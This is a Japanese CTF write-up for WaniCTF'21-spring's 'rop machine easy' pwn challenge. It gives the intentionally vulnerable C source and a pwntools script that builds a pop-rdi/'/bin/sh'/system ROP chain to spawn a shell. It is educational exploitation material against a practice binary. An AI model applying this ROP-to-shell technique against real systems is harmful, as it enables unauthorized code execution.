WaniCTF'21-spring pwn 03 rop machine easy Writeup

WaniCTF'21-spring pwn 03 rop machine easy

# 問題

https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/03-rop-machine-easy

nc rop-easy.pwn.wanictf.org 9003
ropでsystem("/bin/sh")を実行して下さい。
"/bin/sh"のアドレスは提供されています
rop machineの使い方->wani-hackase/rop-machine

配布データ

```
pwn03
pwn03.c
```

```c:pwn03.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

char* name_gadgets[16];
u_int64_t addr_gadgets[16];
char binsh[] = "/bin/sh";

void rop_pop_rdi();
void rop_syscall();

void init() {
  alarm(300);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void create_gadgets_table() {
  name_gadgets[0] = "execute";
  name_gadgets[1] = "push value";
  name_gadgets[2] = "pop rdi; ret";
  name_gadgets[3] = "system";

  addr_gadgets[0] = 0;
  addr_gadgets[1] = 0;
  addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8;
  addr_gadgets[3] = ((u_int64_t)system);
}

void rop_pop_rdi() {
  __asm__(
      "pop %rdi\n\t"
      "ret\n\t");
}

char* get_rop_name(u_int64_t addr) {
  int i;
  for (i = 0; i < 7; i++) {
    if (addr_gadgets[i] == 0) {
      continue;
    }

    if (addr_gadgets[i] == addr) {
      return name_gadgets[i];
    }
  }

  return NULL;
}

void print_menu() {
  printf("\n\"%s\" address is %p\n", binsh, binsh);
  printf(
      "\n[menu]\n"
      "1. append hex value\n"
      "2. append \"pop rdi; ret\" addr\n"
      "3. append \"system\" addr\n"
      "8. show menu (this one)\n"
      "9. show rop_arena\n"
      "0. execute rop\n");
}

u_int64_t get_uint64() {
  char buf[64];
  u_int64_t ret;
  ret = read(0, buf, 63);
  buf[ret] = 0;
  ret = strtoul(buf, NULL, 16);
  return ret;
}

u_int64_t menu() {
  u_int64_t ret;

  printf("> ");
  ret = get_uint64();
  return ret;
}

void show_arena(u_int64_t* rop_arena, int index) {
  int i;
  puts("     rop_arena");
  puts("+--------------------+");
  for (i = 0; i < index; i++) {
    char* name = get_rop_name(rop_arena[i]);
    if (name != NULL) {
      printf("| %-18s |", name);
    } else {
      printf("| 0x%016lx |", rop_arena[i]);
    }

    if (i == 0) {
      printf("<- rop start");
    }

    printf("\n");
    puts("+--------------------+");
  }
}

void rop_machine() {
  u_int64_t rop_arena[128];
  u_int64_t* top = rop_arena;
  int index = 0;
  u_int64_t ret;

  print_menu();

  while (1) {
    int cmd = menu();
    switch (cmd) {
      case 1:
        printf("hex value?: ");
        ret = get_uint64();
        rop_arena[index] = ret;
        index++;
        printf("0x%016lx is appended\n", ret);
        break;
      case 2:
      case 3:
        rop_arena[index] = addr_gadgets[cmd];
        printf("\"%s\" is appended\n", name_gadgets[cmd]);
        index++;
        break;
      case 8:
        print_menu();
        break;
      case 9:
        show_arena(rop_arena, index);
        break;
      case 0:
        show_arena(rop_arena, index);
        {
          register u_int64_t rsp asm("rsp");
          rsp = (u_int64_t)rop_arena;
          __asm__("ret");
          exit(0);
        }
      default:
        puts("bye beginner!!\n");
        exit(1);
        break;
    }
  }
}

int main() {
  init();
  create_gadgets_table();
  rop_machine();
}
```

# ソリューション

とりあえず動かしてみる

```
# ./pwn03

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
```

|レジスタ  |値  |
|---|---|
|RDI  |"/bin/sh"のアドレス  |

でsystemに飛ばせばokぽい

## スタック設計図

```
+--------------------+
| pop rdi; ret       |
+--------------------+
| "/bin/sh"          |
+--------------------+
| system             |
+--------------------+
```

```python:pwn03.py
# coding: UTF-8

# WaniCTF'21-spring pwn 03 rop machine easy

from pwn import *
import pwn 

#io = pwn.remote("rop-easy.pwn.wanictf.org", 9003)
io = pwn.process("./pwn03")


# leak
io.recvuntil("address is 0x")
binsh = int(io.recvline(), 16)


ret = io.readuntil("> ")
print(ret)
io.sendline("2")

ret = io.readuntil("> ")
print(ret)
io.sendline("1")

ret = io.readuntil("hex value?: ")
print(ret)
io.sendline(hex(binsh))

ret = io.readuntil("> ")
print(ret)
io.sendline("3")

ret = io.readuntil("> ")
print(ret)
io.sendline("9")

ret = io.readuntil("> ")
print(ret)
io.sendline("0")

io.interactive()
```

ビンゴ